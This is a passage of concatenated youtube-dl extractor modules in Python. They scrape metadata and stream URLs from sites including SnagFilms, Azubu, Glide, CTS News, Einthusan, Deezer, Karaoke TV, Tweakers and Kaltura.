            'id': video_id,
            'title': title,
            'formats': formats,
        }


class ViewLiftIE(ViewLiftBaseIE):
    _VALID_URL = r'https?://(?:www\.)?(?P<domain>%s)/(?:films/title|show|(?:news/)?videos?)/(?P<id>[^?#]+)' % ViewLiftBaseIE._DOMAINS_REGEX
    _TESTS = [{
        'url': 'http://www.snagfilms.com/films/title/lost_for_life',
        'md5': '19844f897b35af219773fd63bdec2942',
        'info_dict': {
            'id': '0000014c-de2f-d5d6-abcf-ffef58af0017',
            'display_id': 'lost_for_life',
            'ext': 'mp4',
            'title': 'Lost for Life',
            'description': 'md5:fbdacc8bb6b455e464aaf98bc02e1c82',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 4489,
            'categories': ['Documentary', 'Crime', 'Award Winning', 'Festivals']
        }
    }, {
        'url': 'http://www.snagfilms.com/show/the_world_cut_project/india',
        'md5': 'e6292e5b837642bbda82d7f8bf3fbdfd',
        'info_dict': {
            'id': '00000145-d75c-d96e-a9c7-ff5c67b20000',
            'display_id': 'the_world_cut_project/india',
            'ext': 'mp4',
            'title': 'India',
            'description': 'md5:5c168c5a8f4719c146aad2e0dfac6f5f',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 979,
            'categories': ['Documentary', 'Sports', 'Politics']
        }
    }, {
        # Film is not playable in your area.
        'url': 'http://www.snagfilms.com/films/title/inside_mecca',
        'only_matching': True,
    }, {
        # Film is not available.
        'url': 'http://www.snagfilms.com/show/augie_alone/flirting',
        'only_matching': True,
    }, {
        'url': 'http://www.winnersview.com/videos/the-good-son',
        'only_matching': True,
    }, {
        'url': 'http://www.kesari.tv/news/video/1461919076414',
        'only_matching': True,
    }, {
        # Was once Kaltura embed
        'url': 'https://www.monumentalsportsnetwork.com/videos/john-carlson-postgame-2-25-15',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        domain, display_id = re.match(self._VALID_URL, url).groups()

        webpage = self._download_webpage(url, display_id)

        if ">Sorry, the Film you're looking for is not available.<" in webpage:
            raise ExtractorError(
                'Film %s is not available.' % display_id, expected=True)

        film_id = self._search_regex(r'filmId=([\da-f-]{36})"', webpage, 'film id')

        snag = self._parse_json(
            self._search_regex(
                'Snag\.page\.data\s*=\s*(\[.+?\]);', webpage, 'snag'),
            display_id)

        for item in snag:
            if item.get('data', {}).get('film', {}).get('id') == film_id:
                data = item['data']['film']
                title = data['title']
                description = clean_html(data.get('synopsis'))
                thumbnail = data.get('image')
                duration = int_or_none(data.get('duration') or data.get('runtime'))
                categories = [
                    category['title'] for category in data.get('categories', [])
                    if category.get('title')]
                break
        else:
            title = self._search_regex(
                r'itemprop="title">([^<]+)<', webpage, 'title')
            description = self._html_search_regex(
                r'(?s)<div itemprop="description" class="film-synopsis-inner ">(.+?)</div>',
                webpage, 'description', default=None) or self._og_search_description(webpage)
            thumbnail = self._og_search_thumbnail(webpage)
            duration = parse_duration(self._search_regex(
                r'<span itemprop="duration" class="film-duration strong">([^<]+)<',
                webpage, 'duration', fatal=False))
            categories = re.findall(r'<a href="/movies/[^"]+">([^<]+)</a>', webpage)

        return {
            '_type': 'url_transparent',
            'url': 'http://%s/embed/player?filmId=%s' % (domain, film_id),
            'id': film_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'categories': categories,
            'ie_key': 'ViewLiftEmbed',
        }






from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    float_or_none,
    sanitized_Request,
)


class AzubuIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?azubu\.tv/[^/]+#!/play/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://www.azubu.tv/GSL#!/play/15575/2014-hot6-cup-last-big-match-ro8-day-1',
            'md5': 'a88b42fcf844f29ad6035054bd9ecaf4',
            'info_dict': {
                'id': '15575',
                'ext': 'mp4',
                'title': '2014 HOT6 CUP LAST BIG MATCH Ro8 Day 1',
                'description': 'md5:d06bdea27b8cc4388a90ad35b5c66c01',
                'thumbnail': 're:^https?://.*\.jpe?g',
                'timestamp': 1417523507.334,
                'upload_date': '20141202',
                'duration': 9988.7,
                'uploader': 'GSL',
                'uploader_id': 414310,
                'view_count': int,
            },
        },
        {
            'url': 'http://www.azubu.tv/FnaticTV#!/play/9344/-fnatic-at-worlds-2014:-toyz---%22i-love-rekkles,-he-has-amazing-mechanics%22-',
            'md5': 'b72a871fe1d9f70bd7673769cdb3b925',
            'info_dict': {
                'id': '9344',
                'ext': 'mp4',
                'title': 'Fnatic at Worlds 2014: Toyz - "I love Rekkles, he has amazing mechanics"',
                'description': 'md5:4a649737b5f6c8b5c5be543e88dc62af',
                'thumbnail': 're:^https?://.*\.jpe?g',
                'timestamp': 1410530893.320,
                'upload_date': '20140912',
                'duration': 172.385,
                'uploader': 'FnaticTV',
                'uploader_id': 272749,
                'view_count': int,
            },
            'skip': 'Channel offline',
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        data = self._download_json(
            'http://www.azubu.tv/api/video/%s' % video_id, video_id)['data']

        title = data['title'].strip()
        description = data.get('description')
        thumbnail = data.get('thumbnail')
        view_count = data.get('view_count')
        user = data.get('user', {})
        uploader = user.get('username')
        uploader_id = user.get('id')

        stream_params = json.loads(data['stream_params'])

        timestamp = float_or_none(stream_params.get('creationDate'), 1000)
        duration = float_or_none(stream_params.get('length'), 1000)

        renditions = stream_params.get('renditions') or []
        video = stream_params.get('FLVFullLength') or stream_params.get('videoFullLength')
        if video:
            renditions.append(video)

        if not renditions and not user.get('channel', {}).get('is_live', True):
            raise ExtractorError('%s said: channel is offline.' % self.IE_NAME, expected=True)

        formats = [{
            'url': fmt['url'],
            'width': fmt['frameWidth'],
            'height': fmt['frameHeight'],
            'vbr': float_or_none(fmt['encodingRate'], 1000),
            'filesize': fmt['size'],
            'vcodec': fmt['videoCodec'],
            'container': fmt['videoContainer'],
        } for fmt in renditions if fmt['url']]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'formats': formats,
        }


class AzubuLiveIE(InfoExtractor):
    _VALID_URL = r'https?://www.azubu.tv/(?P<id>[^/]+)$'

    _TEST = {
        'url': 'http://www.azubu.tv/MarsTVMDLen',
        'only_matching': True,
    }

    def _real_extract(self, url):
        user = self._match_id(url)

        info = self._download_json(
            'http://api.azubu.tv/public/modules/last-video/{0}/info'.format(user),
            user)['data']
        if info['type'] != 'STREAM':
            raise ExtractorError('{0} is not streaming live'.format(user), expected=True)

        req = sanitized_Request(
            'https://edge-elb.api.brightcove.com/playback/v1/accounts/3361910549001/videos/ref:' + info['reference_id'])
        req.add_header('Accept', 'application/json;pk=BCpkADawqM1gvI0oGWg8dxQHlgT8HkdE2LnAlWAZkOlznO39bSZX726u4JqnDsK3MDXcO01JxXK2tZtJbgQChxgaFzEVdHRjaDoxaOu8hHOO8NYhwdxw9BzvgkvLUlpbDNUuDoc4E4wxDToV')
        bc_info = self._download_json(req, user)
        m3u8_url = next(source['src'] for source in bc_info['sources'] if source['container'] == 'M2TS')
        formats = self._extract_m3u8_formats(m3u8_url, user, ext='mp4')
        self._sort_formats(formats)

        return {
            'id': info['id'],
            'title': self._live_title(info['title']),
            'uploader_id': user,
            'formats': formats,
            'is_live': True,
            'thumbnail': bc_info['poster'],
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unified_strdate


class GlideIE(InfoExtractor):
    IE_DESC = 'Glide mobile video messages (glide.me)'
    _VALID_URL = r'https?://share\.glide\.me/(?P<id>[A-Za-z0-9\-=_+]+)'
    _TEST = {
        'url': 'http://share.glide.me/UZF8zlmuQbe4mr+7dCiQ0w==',
        'md5': '4466372687352851af2d131cfaa8a4c7',
        'info_dict': {
            'id': 'UZF8zlmuQbe4mr+7dCiQ0w==',
            'ext': 'mp4',
            'title': 'Damon Timm\'s Glide message',
            'thumbnail': 're:^https?://.*?\.cloudfront\.net/.*\.jpg$',
            'uploader': 'Damon Timm',
            'upload_date': '20140919',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<title>(.+?)</title>', webpage, 'title')
        video_url = self._proto_relative_url(self._search_regex(
            r'<source[^>]+src=(["\'])(?P<url>.+?)\1',
            webpage, 'video URL', default=None,
            group='url')) or self._og_search_video_url(webpage)
        thumbnail = self._proto_relative_url(self._search_regex(
            r'<img[^>]+id=["\']video-thumbnail["\'][^>]+src=(["\'])(?P<url>.+?)\1',
            webpage, 'thumbnail url', default=None,
            group='url')) or self._og_search_thumbnail(webpage)
        uploader = self._search_regex(
            r'<div[^>]+class=["\']info-name["\'][^>]*>([^<]+)',
            webpage, 'uploader', fatal=False)
        upload_date = unified_strdate(self._search_regex(
            r'<div[^>]+class="info-date"[^>]*>([^<]+)',
            webpage, 'upload date', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'upload_date': upload_date,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import unified_timestamp


class CtsNewsIE(InfoExtractor):
    IE_DESC = '華視新聞'
    _VALID_URL = r'https?://news\.cts\.com\.tw/[a-z]+/[a-z]+/\d+/(?P<id>\d+)\.html'
    _TESTS = [{
        'url': 'http://news.cts.com.tw/cts/international/201501/201501291578109.html',
        'md5': 'a9875cb790252b08431186d741beaabe',
        'info_dict': {
            'id': '201501291578109',
            'ext': 'mp4',
            'title': '以色列.真主黨交火 3人死亡',
            'description': '以色列和黎巴嫩真主黨，爆發五年最嚴重衝突，雙方砲轟交火，兩名以軍死亡，還有一名西班牙籍的聯合國維和人...',
            'timestamp': 1422528540,
            'upload_date': '20150129',
        }
    }, {
        # News count not appear on page but still available in database
        'url': 'http://news.cts.com.tw/cts/international/201309/201309031304098.html',
        'md5': '3aee7e0df7cdff94e43581f54c22619e',
        'info_dict': {
            'id': '201309031304098',
            'ext': 'mp4',
            'title': '韓國31歲童顏男 貌如十多歲小孩',
            'description': '越有年紀的人，越希望看起來年輕一點，而南韓卻有一位31歲的男子，看起來像是11、12歲的小孩，身...',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1378205880,
            'upload_date': '20130903',
        }
    }, {
        # With Youtube embedded video
        'url': 'http://news.cts.com.tw/cts/money/201501/201501291578003.html',
        'md5': 'e4726b2ccd70ba2c319865e28f0a91d1',
        'info_dict': {
            'id': 'OVbfO7d0_hQ',
            'ext': 'mp4',
            'title': 'iPhone6熱銷 蘋果財報亮眼',
            'description': 'md5:f395d4f485487bb0f992ed2c4b07aa7d',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20150128',
            'uploader_id': 'TBSCTS',
            'uploader': '中華電視公司',
        },
        'add_ie': ['Youtube'],
    }]

    def _real_extract(self, url):
        news_id = self._match_id(url)
        page = self._download_webpage(url, news_id)

        news_id = self._hidden_inputs(page).get('get_id')

        if news_id:
            mp4_feed = self._download_json(
                'http://news.cts.com.tw/action/test_mp4feed.php',
                news_id, note='Fetching feed', query={'news_id': news_id})
            video_url = mp4_feed['source_url']
        else:
            self.to_screen('Not CTSPlayer video, trying Youtube...')
            youtube_url = self._search_regex(
                r'src="(//www\.youtube\.com/embed/[^"]+)"', page, 'youtube url')

            return self.url_result(youtube_url, ie='Youtube')

        description = self._html_search_meta('description', page)
        title = self._html_search_meta('title', page, fatal=True)
        thumbnail = self._html_search_meta('image', page)

        datetime_str = self._html_search_regex(
            r'(\d{4}/\d{2}/\d{2} \d{2}:\d{2})', page, 'date and time', fatal=False)
        timestamp = None
        if datetime_str:
            timestamp = unified_timestamp(datetime_str) - 8 * 3600

        return {
            'id': news_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    remove_start,
    sanitized_Request,
)


class EinthusanIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?einthusan\.com/movies/watch.php\?([^#]*?)id=(?P<id>[0-9]+)'
    _TESTS = [
        {
            'url': 'http://www.einthusan.com/movies/watch.php?id=2447',
            'md5': 'af244f4458cd667205e513d75da5b8b1',
            'info_dict': {
                'id': '2447',
                'ext': 'mp4',
                'title': 'Ek Villain',
                'thumbnail': 're:^https?://.*\.jpg$',
                'description': 'md5:9d29fc91a7abadd4591fb862fa560d93',
            }
        },
        {
            'url': 'http://www.einthusan.com/movies/watch.php?id=1671',
            'md5': 'ef63c7a803e22315880ed182c10d1c5c',
            'info_dict': {
                'id': '1671',
                'ext': 'mp4',
                'title': 'Soodhu Kavvuum',
                'thumbnail': 're:^https?://.*\.jpg$',
                'description': 'md5:05d8a0c0281a4240d86d76e14f2f4d51',
            }
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        request = sanitized_Request(url)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0')
        webpage = self._download_webpage(request, video_id)

        title = self._html_search_regex(
            r'<h1><a[^>]+class=["\']movie-title["\'][^>]*>(.+?)</a></h1>',
            webpage, 'title')

        video_id = self._search_regex(
            r'data-movieid=["\'](\d+)', webpage, 'video id', default=video_id)

        video_url = self._download_webpage(
            'http://cdn.einthusan.com/geturl/%s/hd/London,Washington,Toronto,Dallas,San,Sydney/'
            % video_id, video_id)

        description = self._html_search_meta('description', webpage)
        thumbnail = self._html_search_regex(
            r'''<a class="movie-cover-wrapper".*?><img src=["'](.*?)["'].*?/></a>''',
            webpage, "thumbnail url", fatal=False)
        if thumbnail is not None:
            thumbnail = compat_urlparse.urljoin(url, remove_start(thumbnail, '..'))

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'description': description,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    orderedSet,
)


class DeezerPlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?deezer\.com/playlist/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.deezer.com/playlist/176747451',
        'info_dict': {
            'id': '176747451',
            'title': 'Best!',
            'uploader': 'Anonymous',
            'thumbnail': 're:^https?://cdn-images.deezer.com/images/cover/.*\.jpg$',
        },
        'playlist_count': 30,
        'skip': 'Only available in .de',
    }

    def _real_extract(self, url):
        if 'test' not in self._downloader.params:
            self._downloader.report_warning('For now, this extractor only supports the 30 second previews. Patches welcome!')

        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')

        webpage = self._download_webpage(url, playlist_id)
        geoblocking_msg = self._html_search_regex(
            r'<p class="soon-txt">(.*?)</p>', webpage, 'geoblocking message',
            default=None)
        if geoblocking_msg is not None:
            raise ExtractorError(
                'Deezer said: %s' % geoblocking_msg, expected=True)

        data_json = self._search_regex(
            (r'__DZR_APP_STATE__\s*=\s*({.+?})\s*</script>',
             r'naboo\.display\(\'[^\']+\',\s*(.*?)\);\n'),
            webpage, 'data JSON')
        data = json.loads(data_json)

        playlist_title = data.get('DATA', {}).get('TITLE')
        playlist_uploader = data.get('DATA', {}).get('PARENT_USERNAME')
        playlist_thumbnail = self._search_regex(
            r'<img id="naboo_playlist_image".*?src="([^"]+)"', webpage,
            'playlist thumbnail')

        preview_pattern = self._search_regex(
            r"var SOUND_PREVIEW_GATEWAY\s*=\s*'([^']+)';", webpage,
            'preview URL pattern', fatal=False)
        entries = []
        for s in data['SONGS']['data']:
            puid = s['MD5_ORIGIN']
            preview_video_url = preview_pattern.\
                replace('{0}', puid[0]).\
                replace('{1}', puid).\
                replace('{2}', s['MEDIA_VERSION'])
            formats = [{
                'format_id': 'preview',
                'url': preview_video_url,
                'preference': -100,  # Only the first 30 seconds
                'ext': 'mp3',
            }]
            self._sort_formats(formats)
            artists = ', '.join(
                orderedSet(a['ART_NAME'] for a in s['ARTISTS']))
            entries.append({
                'id': s['SNG_ID'],
                'duration': int_or_none(s.get('DURATION')),
                'title': '%s - %s' % (artists, s['SNG_TITLE']),
                'uploader': s['ART_NAME'],
                'uploader_id': s['ART_ID'],
                'age_limit': 16 if s.get('EXPLICIT_LYRICS') == '1' else 0,
                'formats': formats,
            })

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': playlist_title,
            'uploader': playlist_uploader,
            'thumbnail': playlist_thumbnail,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class KaraoketvIE(InfoExtractor):
    _VALID_URL = r'http://www.karaoketv.co.il/[^/]+/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.karaoketv.co.il/%D7%A9%D7%99%D7%A8%D7%99_%D7%A7%D7%A8%D7%99%D7%95%D7%A7%D7%99/58356/%D7%90%D7%99%D7%96%D7%95%D7%9F',
        'info_dict': {
            'id': '58356',
            'ext': 'flv',
            'title': 'קריוקי של איזון',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        api_page_url = self._search_regex(
            r'<iframe[^>]+src=(["\'])(?P<url>https?://www\.karaoke\.co\.il/api_play\.php\?.+?)\1',
            webpage, 'API play URL', group='url')

        api_page = self._download_webpage(api_page_url, video_id)
        video_cdn_url = self._search_regex(
            r'<iframe[^>]+src=(["\'])(?P<url>https?://www\.video-cdn\.com/embed/iframe/.+?)\1',
            api_page, 'video cdn URL', group='url')

        video_cdn = self._download_webpage(video_cdn_url, video_id)
        play_path = self._parse_json(
            self._search_regex(
                r'var\s+options\s*=\s*({.+?});', video_cdn, 'options'),
            video_id)['clip']['url']

        settings = self._parse_json(
            self._search_regex(
                r'var\s+settings\s*=\s*({.+?});', video_cdn, 'servers', default='{}'),
            video_id, fatal=False) or {}

        servers = settings.get('servers')
        if not servers or not isinstance(servers, list):
            servers = ('wowzail.video-cdn.com:80/vodcdn', )

        formats = [{
            'url': 'rtmp://%s' % server if not server.startswith('rtmp') else server,
            'play_path': play_path,
            'app': 'vodcdn',
            'page_url': video_cdn_url,
            'player_url': 'http://www.video-cdn.com/assets/flowplayer/flowplayer.commercial-3.2.18.swf',
            'rtmp_real_time': True,
            'ext': 'flv',
        } for server in servers]

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    determine_ext,
    mimetype2ext,
)


class TweakersIE(InfoExtractor):
    _VALID_URL = r'https?://tweakers\.net/video/(?P<id>\d+)'
    _TEST = {
        'url': 'https://tweakers.net/video/9926/new-nintendo-3ds-xl-op-alle-fronten-beter.html',
        'md5': 'fe73e417c093a788e0160c4025f88b15',
        'info_dict': {
            'id': '9926',
            'ext': 'mp4',
            'title': 'New Nintendo 3DS XL - Op alle fronten beter',
            'description': 'md5:3789b21fed9c0219e9bcaacd43fab280',
            'thumbnail': 're:^https?://.*\.jpe?g$',
            'duration': 386,
            'uploader_id': 's7JeEm',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_json(
            'https://tweakers.net/video/s1playlist/%s/1920/1080/playlist.json' % video_id,
            video_id)['items'][0]

        title = video_data['title']

        formats = []
        for location in video_data.get('locations', {}).get('progressive', []):
            format_id = location.get('label')
            width = int_or_none(location.get('width'))
            height = int_or_none(location.get('height'))
            for source in location.get('sources', []):
                source_url = source.get('src')
                if not source_url:
                    continue
                ext = mimetype2ext(source.get('type')) or determine_ext(source_url)
                formats.append({
                    'format_id': format_id,
                    'url': source_url,
                    'width': width,
                    'height': height,
                    'ext': ext,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': video_data.get('description'),
            'thumbnail': video_data.get('poster'),
            'duration': int_or_none(video_data.get('duration')),
            'uploader_id': video_data.get('account'),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import base64

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
    compat_parse_qs,
)
from ..utils import (
    clean_html,
    ExtractorError,
    int_or_none,
    unsmuggle_url,
    smuggle_url,
)


class KalturaIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                (?:
                    kaltura:(?P<partner_id>\d+):(?P<id>[0-9a-z_]+)|
                    https?://
                        (:?(?:www|cdnapi(?:sec)?)\.)?kaltura\.com/
                        (?:
                            (?:
                                # flash player
                                index\.php/kwidget|
                                # html5 player
                                html5/html5lib/[^/]+/mwEmbedFrame\.php
                            )
                        )(?:/(?P<path>[^?]+))?(?:\?(?P<query>.*))?
                )
                '''
    _SERVICE_URL = 'http://cdnapi.kaltura.com'
    _SERVICE_BASE = '/api_v3/index.php'
    # See https://github.com/kaltura/server/blob/master/plugins/content/caption/base/lib/model/enums/CaptionType.php
    _CAPTION_TYPES = {
        1: 'srt',
        2: 'ttml',
        3: 'vtt',
    }
    _TESTS = [
        {
            'url': 'kaltura:269692:1_1jc2y3e4',
            'md5': '3adcbdb3dcc02d647539e53f284ba171',
            'info_dict': {
                'id': '1_1jc2y3e4',
                'ext': 'mp4',
                'title': 'Straight from the Heart',
                'upload_date': '20131219',
                'uploader_id': 'mlundberg@wolfgangsvault.com',
                'description': 'The Allman Brothers Band, 12/16/1981',
                'thumbnail': 're:^https?://.*/thumbnail/.*',
                'timestamp': int,
            },
        },
        {
            'url': 'http://www.kaltura.com/index.php/kwidget/cache_st/1300318621/wid/_269692/uiconf_id/3873291/entry_id/1_1jc2y3e4',
            'only_matching': True,
        },
        {
            'url': 'https://cdnapisec.kaltura.com/index.php/kwidget/wid/_557781/uiconf_id/22845202/entry_id/1_plr1syf3',
            'only_matching': True,
        },
        {
            'url': 'https://cdnapisec.kaltura.com/html5/html5lib/v2.30.2/mwEmbedFrame.php/p/1337/uiconf_id/20540612/entry_id/1_sf5ovm7u?wid=_243342',
            'only_matching': True,
        },
        {
            # video with subtitles
            'url': 'kaltura:111032:1_cw786r8q',
            'only_matching': True,
        },
        {
            # video with ttml subtitles (no fileExt)
            'url': 'kaltura:1926081:0_l5ye1133',
            'info_dict': {
                'id': '0_l5ye1133',
                'ext': 'mp4',
                'title': 'What Can You Do With Python?',
                'upload_date': '20160221',
                'uploader_id': 'stork',
                'thumbnail': 're:^https?://.*/thumbnail/.*',
                'timestamp': int,
                'subtitles': {
                    'en': [{
                        'ext': 'ttml',
                    }],
                },
            },
            'params': {
                'skip_download': True,
            },
        }
    ]

    @staticmethod
    def _extract_url(webpage):
        mobj = (
            re.search(
                r"""(?xs)
                    kWidget\.(?:thumb)?[Ee]mbed\(
                    \{.*?
                        (?P<q1>['\"])wid(?P=q1)\s*:\s*
                        (?P<q2>['\"])_?(?P<partner_id>[^'\"]+)(?P=q2),.*?
                        (?P<q3>['\"])entry_?[Ii]d(?P=q3)\s*:\s*
                        (?P<q4>['\"])(?P<id>[^'\"]+)(?P=q4),
                """, webpage) or
            re.search(
                r'''(?xs)
                    (?P<q1>["\'])
                        (?:https?:)?//cdnapi(?:sec)?\.kaltura\.com/.*?(?:p|partner_id)/(?P<partner_id>\d+).*?
                    (?P=q1).*?
                    (?:
                        entry_?[Ii]d|
                        (?P<q2>["\'])entry_?[Ii]d(?P=q2)
                    )\s*:\s*
                    (?P<q3>["\'])(?P<id>.+?)(?P=q3)
                ''', webpage))
        if mobj:
            embed_info = mobj.groupdict()
            url = 'kaltura:%(partner_id)s:%(id)s' % embed_info
            escaped_pid = re.escape(embed_info['partner_id'])
            service_url = re.search(
                r'<script[^>]+src=["\']((?:https?:)?//.+?)/p/%s/sp/%s00/embedIframeJs' % (escaped_pid, escaped_pid),
                webpage)
            if service_url:
                url = smuggle_url(url, {'service_url': service_url.group(1)})
            return url

    def _kaltura_api_call(self, video_id, actions, service_url=None, *args, **kwargs):
        params = actions[0]
        if len(actions) > 1:
            for i, a in enumerate(actions[1:], start=1):
                for k, v in a.items():
                    params['%d:%s' % (i, k)] = v

        data = self._download_json(
            (service_url or self._SERVICE_URL) + self._SERVICE_BASE,
            video_id, query=params, *args, **kwargs)

        status = data if len(actions) == 1 else data[0]
        if status.get('objectType') == 'KalturaAPIException':
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, status['message']))

        return data

    def _get_video_info(self, video_id, partner_id, service_url=None):
        actions = [
            {
                'action': 'null',
                'apiVersion': '3.1.5',
                'clientTag': 'kdp:v3.8.5',
                'format': 1,  # JSON, 2 = XML, 3 = PHP
                'service': 'multirequest',
            },
            {
                'expiry': 86400,
                'service': 'session',
                'action': 'startWidgetSession',
                'widgetId': '_%s' % partner_id,
            },
            {
                'action': 'get',
                'entryId': video_id,
                'service': 'baseentry',
                'ks': '{1:result:ks}',
            },
            {
                'action': 'getbyentryid',
                'entryId': video_id,
                'service': 'flavorAsset',
                'ks': '{1:result:ks}',
            },
            {
                'action': 'list',
                'filter:entryIdEqual': video_id,
                'service': 'caption_captionasset',
                'ks': '{1:result:ks}',
            },
        ]
        return self._kaltura_api_call(
            video_id, actions, service_url, note='Downloading video info JSON')

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        mobj = re.match(self._VALID_URL, url)
        partner_id, entry_id = mobj.group('partner_id', 'id')
        ks = None
        captions = None
        if partner_id and entry_id:
            _, info, flavor_assets, captions = self._get_video_info(entry_id, partner_id, smuggled_data.get('service_url'))
        else:
            path, query = mobj.group('path', 'query')
            if not path and not query:
                raise ExtractorError('Invalid URL', expected=True)
            params = {}
            if query:
                params = compat_parse_qs(query)
            if path:
                splitted_path = path.split('/')
                params.update(dict((zip(splitted_path[::2], [[v] for v in splitted_path[1::2]]))))
            if 'wid' in params:
                partner_id = params['wid'][0][1:]
            elif 'p' in params:
                partner_id = params['p'][0]
            else:
                raise ExtractorError('Invalid URL', expected=True)
            if 'entry_id' in params:
                entry_id = params['entry_id'][0]
                _, info, flavor_assets, captions = self._get_video_info(entry_id, partner_id)
            elif 'uiconf_id' in params and 'flashvars[referenceId]' in params:
                reference_id = params['flashvars[referenceId]'][0]
                webpage = self._download_webpage(url, reference_id)
                entry_data = self._parse_json(self._search_regex(
                    r'window\.kalturaIframePackageData\s*=\s*({.*});',
                    webpage, 'kalturaIframePackageData'),
                    reference_id)['entryResult']
                info, flavor_assets = entry_data['meta'], entry_data['contextData']['flavorAssets']
                entry_id = info['id']
                # Unfortunately, data returned in kalturaIframePackageData lacks
                # captions so we will try requesting the complete data using
                # regular approach since we now know the entry_id
                try:
                    _, info, flavor_assets, captions = self._get_video_info(
                        entry_id, partner_id)
                except ExtractorError:
                    # Regular scenario failed but we already have everything
                    # extracted apart from captions and can process at least
                    # with this
                    pass
            else:
                raise ExtractorError('Invalid URL', expected=True)
            ks = params.get('flashvars[ks]', [None])[0]

        source_url = smuggled_data.get('source_url')
        if source_url:
            referrer = base64.b64encode(
                '://'.join(compat_urlparse.urlparse(source_url)[:2])
                .encode('utf-8')).decode('utf-8')
        else:
            referrer = None

        def sign_url(unsigned_url):
            if ks:
                unsigned_url += '/ks/%s' % ks
            if referrer:
                unsigned_url += '?referrer=%s' % referrer
            return unsigned_url

        data_url = info['dataUrl']
        if '/flvclipper/' in data_url:
            data_url = re.sub(r'/flvclipper/.*', '/serveFlavor', data_url)

        formats = []
        for f in flavor_assets:
            # Continue if asset is not ready
            if f.get('status') != 2:
                continue
            video_url = sign_url(
                '%s/flavorId/%s' % (data_url, f['id']))
            formats.append({
                'format_id': '%(fileExt)s-%(bitrate)s' % f,
                'ext': f.get('fileExt'),
                'tbr': int_or_none(f['bitrate']),
                'fps': int_or_none(f.get('frameRate')),
                'filesize_approx': int_or_none(f.get('size'), invscale=1024),
                'container': f.get('containerFormat'),
                'vcodec': f.get('videoCodecId'),
                'height': int_or_none(f.get('height')),
                'width': int_or_none(f.get('width')),
                'url': video_url,
            })
        if '/playManifest/' in data_url:
            m3u8_url = sign_url(data_url.replace(
                'format/url', 'format/applehttp'))
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, entry_id, 'mp4', 'm3u8_native',
                m3u8_id='hls', fatal=False))

        self._sort_formats(formats)

        subtitles = {}
        if captions:
            for caption in captions.get('objects', []):
                # Continue if caption is not ready
                if f.get('status') != 2:
                    continue
                if not caption.get('id'):
                    continue
                caption_format = int_or_none(caption.get('format'))
                subtitles.setdefault(caption.get('languageCode') or caption.get('language'), []).append({
                    'url': '%s/api_v3/service/caption_captionasset/action/serve/captionAssetId/%s' % (self._SERVICE_URL, caption['id']),
                    'ext': caption.get('fileExt') or self._CAPTION_TYPES.get(caption_format) or 'ttml',
                })

        return {
            'id': entry_id,
            'title': info['name'],
            'formats': formats,
            'subtitles': subtitles,
            'description': clean_html(info.get('description')),
            'thumbnail': info.get('thumbnailUrl'),
            'duration': info.get('duration'),
            'timestamp': info.get('createdAt'),
            'uploader_id': info.get('userId'),
            'view_count': info.get('plays'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    get_element_by_id,
    clean_html,
    ExtractorError,
    InAdvancePagedList,
    remove_start,
)


class KuwoBaseIE(InfoExtractor):
    _FORMATS = [
        {'format': 'ape', 'ext': 'ape', 'preference': 100},
        {'format': 'mp3-320', 'ext': 'mp3', 'br': '320kmp3', 'abr': 320, 'preference': 80},
        {'format': 'mp3-192', 'ext': 'mp3', 'br': '192kmp3', 'abr': 192, 'preference': 70},
